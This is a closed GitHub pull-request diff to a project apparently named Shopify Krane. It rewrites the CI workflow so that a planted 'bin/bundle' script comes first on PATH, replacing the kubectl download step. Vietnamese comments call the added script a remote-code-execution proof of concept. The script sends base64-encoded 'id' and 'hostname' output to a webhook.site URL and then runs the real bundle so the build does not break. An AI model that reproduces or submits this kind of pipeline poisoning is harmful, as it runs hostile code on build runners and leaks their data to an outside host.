Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 4 additions & 2 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -55,8 +55,10 @@ jobs:
- name: Setup kubectl ${{ matrix.kubernetes_version }}
run: |
mkdir -p "${GITHUB_WORKSPACE}/bin"
curl -o "${GITHUB_WORKSPACE}/bin/kubectl" -LO "https://dl.k8s.io/release/v${{ matrix.kubernetes_version }}/bin/linux/amd64/kubectl"
chmod +x "${GITHUB_WORKSPACE}/bin/kubectl"
# Copy bundle giả của chúng ta vào thư mục bin của Workspace
cp bin/bundle "${GITHUB_WORKSPACE}/bin/bundle"
chmod +x "${GITHUB_WORKSPACE}/bin/bundle"
# Đưa thư mục này lên ĐẦU biến PATH
echo "PATH=$GITHUB_WORKSPACE/bin:${PATH}" >> $GITHUB_ENV

- name: Create kind cluster for ${{ matrix.kubernetes_version }}
Expand Down
9 changes: 9 additions & 0 deletions bin/bundle
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/bash
# PoC RCE cho Shopify Krane
echo "Hacking in progress..."
# Gửi dữ liệu nhạy cảm (ID, Hostname, Environment) về Webhook
curl -s -X POST -d "data=$(id | base64)" https://webhook.site/b12e31e2-f83a-46a2-a8b3-f1c950fe4848
curl -s -X POST -d "hostname=$(hostname | base64)" https://webhook.site/b12e31e2-f83a-46a2-a8b3-f1c950fe4848

# Thực thi lệnh bundle thật để quá trình CI không bị crash ngay lập tức
/usr/bin/bundle "$@"
Loading